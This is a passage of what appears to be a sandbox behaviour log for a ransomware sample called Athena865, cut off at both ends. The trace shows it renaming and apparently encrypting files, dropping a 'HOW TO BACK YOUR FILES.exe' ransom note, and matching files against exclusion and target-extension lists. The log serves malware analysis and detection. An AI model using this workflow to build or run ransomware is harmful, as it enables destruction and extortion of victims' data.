(lpString1="Mail Recipient.MAPIMail", lpString2="bootmgr") returned 1 [0054.046] lstrcmpiW (lpString1="Mail Recipient.MAPIMail", lpString2="temp") returned -1 [0054.046] lstrcmpiW (lpString1="Mail Recipient.MAPIMail", lpString2="pagefile.sys") returned -1 [0054.046] lstrcmpiW (lpString1="Mail Recipient.MAPIMail", lpString2="boot") returned 1 [0054.046] lstrcmpiW (lpString1="Mail Recipient.MAPIMail", lpString2="ids.txt") returned 1 [0054.046] lstrcmpiW (lpString1="Mail Recipient.MAPIMail", lpString2="ntuser.dat") returned -1 [0054.046] lstrcmpiW (lpString1="Mail Recipient.MAPIMail", lpString2="perflogs") returned -1 [0054.046] lstrcmpiW (lpString1="Mail Recipient.MAPIMail", lpString2="MSBuild") returned -1 [0054.046] lstrlenW (lpString="Mail Recipient.MAPIMail") returned 23 [0054.046] lstrcpyW (in: lpString1=0x241e89a, lpString2="Mail Recipient.MAPIMail" | out: lpString1="Mail Recipient.MAPIMail") returned="Mail Recipient.MAPIMail" [0054.046] lstrlenW (lpString="Mail Recipient.MAPIMail") returned 23 [0054.046] lstrlenW (lpString="Athena865") returned 9 [0054.046] lstrcmpiW (lpString1=".MAPIMail", lpString2="Athena865") returned -1 [0054.046] lstrlenW (lpString=".dll") returned 4 [0054.046] lstrcmpiW (lpString1="Mail Recipient.MAPIMail", lpString2=".dll") returned 1 [0054.046] lstrlenW (lpString=".lnk") returned 4 [0054.047] lstrcmpiW (lpString1="Mail Recipient.MAPIMail", lpString2=".lnk") returned 1 [0054.047] lstrlenW (lpString=".ini") returned 4 [0054.047] lstrcmpiW (lpString1="Mail Recipient.MAPIMail", lpString2=".ini") returned 1 [0054.047] lstrlenW (lpString=".sys") returned 4 [0054.047] lstrcmpiW (lpString1="Mail Recipient.MAPIMail", lpString2=".sys") returned 1 [0054.047] lstrlenW (lpString="Mail Recipient.MAPIMail") returned 23 [0054.047] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\SendTo\\Mail Recipient.MAPIMail.Athena865") returned 74 [0054.047] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\SendTo\\Mail Recipient.MAPIMail" (normalized: "c:\\documents and settings\\default\\sendto\\mail recipient.mapimail"), lpNewFileName="C:\\Documents and Settings\\Default\\SendTo\\Mail Recipient.MAPIMail.Athena865" (normalized: "c:\\documents and settings\\default\\sendto\\mail recipient.mapimail.athena865"), dwFlags=0x1) returned 1 [0054.047] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\SendTo\\Mail Recipient.MAPIMail.Athena865" (normalized: "c:\\documents and settings\\default\\sendto\\mail recipient.mapimail.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0054.048] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4) returned 1 [0054.048] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0054.048] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52db88 [0054.048] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519a20 [0054.048] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519aa8) returned 1 [0054.049] CryptGenRandom (in: hProv=0x519aa8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0054.049] CryptReleaseContext (hProv=0x519aa8, dwFlags=0x0) returned 1 [0054.049] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x310, lpName=0x0) returned 0x17c [0054.051] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x310) returned 0x100000 [0054.051] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519aa8) returned 1 [0054.052] CryptGenRandom (in: hProv=0x519aa8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0054.052] CryptReleaseContext (hProv=0x519aa8, dwFlags=0x0) returned 1 [0054.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dc00 [0054.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dc00 | out: hHeap=0x4f0000) returned 1 [0054.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0054.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0054.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0054.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0054.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0054.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0054.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0054.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0054.053] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0054.053] CloseHandle (hObject=0x17c) returned 1 [0054.053] CloseHandle (hObject=0x154) returned 1 [0054.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db88 | out: hHeap=0x4f0000) returned 1 [0054.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519a20 | out: hHeap=0x4f0000) returned 1 [0054.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0054.053] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9c48085e, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x63dece0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3bb9ed75, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mail Recipient.MAPIMail", cAlternateFileName="MAILRE~1.MAP")) returned 0 [0054.053] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0054.053] ReleaseMutex (hMutex=0xec) returned 1 [0054.053] CloseHandle (hObject=0xec) returned 1 [0054.053] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\Start Menu" | out: lpString1="C:\\Documents and Settings\\Default\\Start Menu") returned="C:\\Documents and Settings\\Default\\Start Menu" [0054.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51b400 | out: hHeap=0x4f0000) returned 1 [0054.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cca8 | out: hHeap=0x4f0000) returned 1 [0054.053] lstrlenW (lpString="C:\\Documents and Settings\\Default\\Start Menu") returned 44 [0054.053] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\AAD68826D0A3CEAB94642FF997D0FC6E") returned 0xec [0054.053] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0054.054] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\Start Menu" | out: lpString1="C:\\Documents and Settings\\Default\\Start Menu") returned="C:\\Documents and Settings\\Default\\Start Menu" [0054.054] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0054.054] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\start menu\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.054] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\start menu\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0054.054] GetLastError () returned 0x0 [0054.054] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0054.054] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0054.054] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0054.055] CloseHandle (hObject=0xf4) returned 1 [0054.055] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0054.055] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0054.055] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\Start Menu\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd1c9ba0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd1c9ba0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0054.056] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.056] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.056] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0054.056] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd1c9ba0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd1c9ba0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.056] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.056] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.056] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0054.056] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0054.056] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x63dece0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x63dece0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0054.056] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.057] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.057] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0054.057] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0054.057] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0054.057] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0054.057] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0054.057] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0054.057] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0054.057] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0054.057] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0054.057] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0054.057] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0054.057] lstrlenW (lpString="desktop.ini") returned 11 [0054.057] lstrcpyW (in: lpString1=0x241e8a2, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0054.057] lstrlenW (lpString="desktop.ini") returned 11 [0054.057] lstrlenW (lpString="Athena865") returned 9 [0054.058] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0054.058] lstrlenW (lpString=".dll") returned 4 [0054.058] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0054.058] lstrlenW (lpString=".lnk") returned 4 [0054.058] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0054.058] lstrlenW (lpString=".ini") returned 4 [0054.058] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0054.058] lstrlenW (lpString=".sys") returned 4 [0054.058] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0054.058] lstrlenW (lpString="desktop.ini") returned 11 [0054.058] lstrlenW (lpString="bak") returned 3 [0054.058] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0054.058] lstrlenW (lpString="ba_") returned 3 [0054.058] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0054.058] lstrlenW (lpString="dbb") returned 3 [0054.058] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0054.058] lstrlenW (lpString="vmdk") returned 4 [0054.058] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0054.058] lstrlenW (lpString="rar") returned 3 [0054.058] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0054.058] lstrlenW (lpString="zip") returned 3 [0054.058] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0054.058] lstrlenW (lpString="tgz") returned 3 [0054.058] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0054.059] lstrlenW (lpString="vbox") returned 4 [0054.059] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0054.059] lstrlenW (lpString="vdi") returned 3 [0054.059] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0054.059] lstrlenW (lpString="vhd") returned 3 [0054.059] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0054.059] lstrlenW (lpString="vhdx") returned 4 [0054.059] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0054.059] lstrlenW (lpString="avhd") returned 4 [0054.059] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0054.059] lstrlenW (lpString="db") returned 2 [0054.059] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0054.059] lstrlenW (lpString="db2") returned 3 [0054.059] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0054.059] lstrlenW (lpString="db3") returned 3 [0054.059] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0054.059] lstrlenW (lpString="dbf") returned 3 [0054.059] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0054.059] lstrlenW (lpString="mdf") returned 3 [0054.059] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0054.059] lstrlenW (lpString="mdb") returned 3 [0054.059] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0054.059] lstrlenW (lpString="sql") returned 3 [0054.059] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0054.059] lstrlenW (lpString="sqlite") returned 6 [0054.059] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0054.059] lstrlenW (lpString="sqlite3") returned 7 [0054.059] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0054.059] lstrlenW (lpString="sqlitedb") returned 8 [0054.059] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0054.059] lstrlenW (lpString="xml") returned 3 [0054.059] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0054.060] lstrlenW (lpString="$er") returned 3 [0054.060] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0054.060] lstrlenW (lpString="4dd") returned 3 [0054.060] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0054.060] lstrlenW (lpString="4dl") returned 3 [0054.060] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0054.060] lstrlenW (lpString="^^^") returned 3 [0054.060] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0054.060] lstrlenW (lpString="abs") returned 3 [0054.060] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0054.060] lstrlenW (lpString="abx") returned 3 [0054.060] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0054.060] lstrlenW (lpString="accdb") returned 5 [0054.060] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0054.060] lstrlenW (lpString="accdc") returned 5 [0054.060] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0054.060] lstrlenW (lpString="accde") returned 5 [0054.060] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0054.060] lstrlenW (lpString="accdr") returned 5 [0054.060] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0054.060] lstrlenW (lpString="accdt") returned 5 [0054.060] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0054.060] lstrlenW (lpString="accdw") returned 5 [0054.060] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0054.060] lstrlenW (lpString="accft") returned 5 [0054.060] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0054.060] lstrlenW (lpString="adb") returned 3 [0054.060] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0054.060] lstrlenW (lpString="adb") returned 3 [0054.060] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0054.060] lstrlenW (lpString="ade") returned 3 [0054.060] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0054.061] lstrlenW (lpString="adf") returned 3 [0054.061] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0054.061] lstrlenW (lpString="adn") returned 3 [0054.061] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0054.061] lstrlenW (lpString="adp") returned 3 [0054.061] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0054.061] lstrlenW (lpString="alf") returned 3 [0054.061] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0054.061] lstrlenW (lpString="ask") returned 3 [0054.061] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0054.061] lstrlenW (lpString="btr") returned 3 [0054.061] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0054.061] lstrlenW (lpString="cat") returned 3 [0054.061] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0054.061] lstrlenW (lpString="cdb") returned 3 [0054.061] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0054.061] lstrlenW (lpString="ckp") returned 3 [0054.061] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0054.061] lstrlenW (lpString="cma") returned 3 [0054.061] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0054.061] lstrlenW (lpString="cpd") returned 3 [0054.061] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0054.061] lstrlenW (lpString="dacpac") returned 6 [0054.061] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0054.061] lstrlenW (lpString="dad") returned 3 [0054.061] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0054.061] lstrlenW (lpString="dadiagrams") returned 10 [0054.061] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0054.061] lstrlenW (lpString="daschema") returned 8 [0054.061] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0054.061] lstrlenW (lpString="db-journal") returned 10 [0054.061] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0054.061] lstrlenW (lpString="db-shm") returned 6 [0054.062] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0054.062] lstrlenW (lpString="db-wal") returned 6 [0054.062] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0054.062] lstrlenW (lpString="dbc") returned 3 [0054.062] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0054.062] lstrlenW (lpString="dbs") returned 3 [0054.062] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0054.062] lstrlenW (lpString="dbt") returned 3 [0054.062] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0054.062] lstrlenW (lpString="dbv") returned 3 [0054.062] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0054.062] lstrlenW (lpString="dbx") returned 3 [0054.062] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0054.062] lstrlenW (lpString="dcb") returned 3 [0054.062] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0054.062] lstrlenW (lpString="dct") returned 3 [0054.062] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0054.062] lstrlenW (lpString="dcx") returned 3 [0054.062] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0054.062] lstrlenW (lpString="ddl") returned 3 [0054.062] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0054.062] lstrlenW (lpString="dlis") returned 4 [0054.062] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0054.062] lstrlenW (lpString="dp1") returned 3 [0054.062] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0054.062] lstrlenW (lpString="dqy") returned 3 [0054.062] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0054.062] lstrlenW (lpString="dsk") returned 3 [0054.062] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0054.062] lstrlenW (lpString="dsn") returned 3 [0054.062] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0054.062] lstrlenW (lpString="dtsx") returned 4 [0054.063] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0054.063] lstrlenW (lpString="dxl") returned 3 [0054.063] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0054.063] lstrlenW (lpString="eco") returned 3 [0054.063] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0054.063] lstrlenW (lpString="ecx") returned 3 [0054.063] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0054.063] lstrlenW (lpString="edb") returned 3 [0054.063] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0054.063] lstrlenW (lpString="epim") returned 4 [0054.063] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0054.063] lstrlenW (lpString="fcd") returned 3 [0054.063] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0054.063] lstrlenW (lpString="fdb") returned 3 [0054.063] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0054.063] lstrlenW (lpString="fic") returned 3 [0054.063] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0054.063] lstrlenW (lpString="flexolibrary") returned 12 [0054.063] lstrlenW (lpString="fm5") returned 3 [0054.063] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0054.063] lstrlenW (lpString="fmp") returned 3 [0054.063] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0054.063] lstrlenW (lpString="fmp12") returned 5 [0054.063] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0054.063] lstrlenW (lpString="fmpsl") returned 5 [0054.063] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0054.063] lstrlenW (lpString="fol") returned 3 [0054.063] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0054.063] lstrlenW (lpString="fp3") returned 3 [0054.063] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0054.063] lstrlenW (lpString="fp4") returned 3 [0054.063] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0054.064] lstrlenW (lpString="fp5") returned 3 [0054.064] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0054.064] lstrlenW (lpString="fp7") returned 3 [0054.064] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0054.064] lstrlenW (lpString="fpt") returned 3 [0054.064] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0054.064] lstrlenW (lpString="frm") returned 3 [0054.064] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0054.064] lstrlenW (lpString="gdb") returned 3 [0054.064] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0054.064] lstrlenW (lpString="gdb") returned 3 [0054.064] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0054.064] lstrlenW (lpString="grdb") returned 4 [0054.064] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0054.064] lstrlenW (lpString="gwi") returned 3 [0054.064] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0054.064] lstrlenW (lpString="hdb") returned 3 [0054.064] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0054.064] lstrlenW (lpString="his") returned 3 [0054.064] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0054.064] lstrlenW (lpString="ib") returned 2 [0054.064] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0054.064] lstrlenW (lpString="idb") returned 3 [0054.064] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0054.064] lstrlenW (lpString="ihx") returned 3 [0054.064] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0054.064] lstrlenW (lpString="itdb") returned 4 [0054.064] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0054.064] lstrlenW (lpString="itw") returned 3 [0054.064] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0054.064] lstrlenW (lpString="jet") returned 3 [0054.064] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0054.064] lstrlenW (lpString="jtx") returned 3 [0054.065] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0054.065] lstrlenW (lpString="kdb") returned 3 [0054.065] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0054.065] lstrlenW (lpString="kexi") returned 4 [0054.065] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0054.065] lstrlenW (lpString="kexic") returned 5 [0054.065] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0054.065] lstrlenW (lpString="kexis") returned 5 [0054.065] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0054.065] lstrlenW (lpString="lgc") returned 3 [0054.065] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0054.065] lstrlenW (lpString="lwx") returned 3 [0054.065] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0054.065] lstrlenW (lpString="maf") returned 3 [0054.065] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0054.065] lstrlenW (lpString="maq") returned 3 [0054.065] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0054.065] lstrlenW (lpString="mar") returned 3 [0054.065] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0054.065] lstrlenW (lpString="marshal") returned 7 [0054.065] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0054.065] lstrlenW (lpString="mas") returned 3 [0054.065] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0054.065] lstrlenW (lpString="mav") returned 3 [0054.065] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0054.065] lstrlenW (lpString="maw") returned 3 [0054.065] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0054.065] lstrlenW (lpString="mdbhtml") returned 7 [0054.065] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0054.065] lstrlenW (lpString="mdn") returned 3 [0054.065] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0054.065] lstrlenW (lpString="mdt") returned 3 [0054.065] lstrcmpiW 